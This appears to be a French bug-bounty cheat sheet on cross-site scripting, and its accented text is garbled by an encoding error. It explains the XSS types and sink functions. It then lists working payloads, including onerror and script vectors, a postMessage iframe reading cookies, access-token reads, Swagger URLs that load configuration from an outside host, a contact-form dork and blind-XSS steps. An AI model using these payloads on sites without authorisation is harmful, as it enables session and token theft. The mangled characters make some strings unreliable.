๐ชXSS
Cross-site scripting
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?
Cross-site scripting
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?
Usurper l'identitรฉ ou se faire passer pour l'utilisateur victime.
Rรฉaliser une action que l'utilisateur est capable d'effectuer.
Lire chaque donnรฉes auxquelles un utilisateur peut accรฉder
Voler les identifiants d'un utilisateur.
Rรฉaliser des attaques de dรฉfacement sur le site web.
Injecter des fonctions de trojan dans le site web.
On appel XSS stockรฉe un payload de Cross-site scripting qui peut-รชtre enregistrรฉ dans le serveur et pouvant donc impacter tous les utilisateurs visitant le site web.
Ce type de XSS est la plus dangereuse du fais du nombre d'actions nรฉcessaires cรดtรฉ attaquant (1 action) et du potentiel nombre รฉlevรฉ de victimes.
Utiliser le username <img src=x onerror=alert(document.domain)> qui sera affichรฉ dans plusieurs pages du site.
On appel XSS reflรฉtรฉ un payload de Cross-Site Scripting stockรฉ dans les donnรฉes envoyรฉes du navigateur au serveur mais que le serveur ne stock pas. Ce type de XSS est notamment utilisรฉ dans des campagnes de phishing car elle nรฉcessite une action de la victime.
On parle de Self XSS lorsqu'un attaquant exploite une vulnรฉrabilitรฉ qui requiรจre un contexte particulier nรฉcessitant des changement manuels. La seule personne pouvant รชtre affectรฉ par cette XSS รฉtant donc lui-mรชme.
Reflected XSS vs Self XSS
Reflected XSS: d'autres utilisateurs peuvent y accรฉder et donc en รชtre potentiellement victime en cas de phishing.
Self XSS: Aucun autre utilisateur que vous-mรชme ne peut y accรฉder car elle requiรจre un contexte spรฉcifique ร l'utilisateur.
Certains voir la plupart des programmes de bug bounty ne considรจrent pas les Self XSS comme des vulnรฉrabilitรฉs acceptables.
Payload dans un formulaire n'apparaissant pas dans l'url et ne pouvant donc pas servir dans des campagnes de phishing.
On appel XSS en aveugle les payload de Cross-site scripting qui ne sont pas visible directement par l'attaquant. Ces vulnรฉrabilitรฉs rรฉsident souvent dans des pages dont seul des utilisateurs autorisรฉs peuvent accรฉder (interfaces d'administration par exemple).
Comme vous pouvez vous en doutez, ces vulnรฉrabilitรฉs sont plus complexes ร mettre en place du fait de l'impossibilitรฉ pour l'attaquant de savoir si son payload a fonctionnรฉ ou non.
Pour maximiser les chances de rรฉussite de ces attaques, les attaquants utilisent souvent des polyglots, qui sont conรงues pour fonctionner dans de nombreux scรฉnarios diffรฉrents, comme dans un attribut, sous forme de texte brut ou dans une balise <script>.
Points d'injection frรฉquents:
Formulaire de contact
Formulaire de feedback
Username (formulaire de connexion)
User-agent (en-tรชte)
Dans le cas des DOM-based XSS, l'รฉlรฉment vulnรฉrable n'est pas le serveur lui mรชme mais plutรดt le code JavaScript prรฉsent dans la page.
Etant donnรฉ que JavaScript est utilisรฉ pour ajouter de l'interactivitรฉ ร une page, des arguments dans l'URL peuvent parfois รชtre utilisรฉs pour modifier la page aprรจs son chargement. Si les entrรฉes des utilisateurs ne sont pas (correctement) filtrรฉs dans cette URL alors un attaquant peut injecter du code malveillant dans la page.L
document.write
window.location
document.cookie
eval()
document.domain
WebSocket
element.src
postmessage
setRequestHeader
JSON.parse
ng-app
URLSearchParams
replace()
innerHTML
location.search
addEventListener
<script>alert(document.domain)</script>
</script><script>alert(document.domain)</script>
</p><script>alert(document.domain)</script>
"><svg onload=alert(document.domain)>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert`1`>
javascript:alert(document.domain)
data:text/html;base64,<payload en base64>
"onmouseover="alert(document.domain)
'-alert(document.domain)-'
javascript:bing={};[2].find(confirm)
Exemple de requรชte live chat:
{"message":"<img src=x onerror=alert(document.domain)>"}
\"-alert(document.domain)}//
<><img src=x onerror=alert(document.domain)>
http://foo?'-alert(1)-'
${alert(document.domain)}
https://exemple.com/?configUrl=https://jumpy-floor.surge.sh/test.json
https://exemple.com/?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/swagger-ui/index.html?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/swagger-ui.html?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/api/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json
Trouver des endpoint utilisant Swagger => https://github.com/doosec101/swagger_scanner
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(document.cookie)>','*')">
ou via DOM invader:
alert(document.cookie)
alert(localStorage.getItem('access_token'))
$ nmap -p80 --script http-dombased-xss.nse
Google Dork pour trouver des formulaires de contact
site:target.com inurl:"contact" | inurl:"contactus" | inurl:"contact-us" | inurl:"contactus" | inurl:"contact_form" | inurl:"contact-form" ...
Placer un payload d'injection HTLM dans le nom ( exp: "abc><h1>attacker<h1>)
Placer payload XSSHunter dans la forme du message.
Si cela fonctionne alors on reรงoit soit le rรฉsultat de l'injection HTML dans notre boรฎte mail, soit une alerte dans XSSHunter, soit les deux.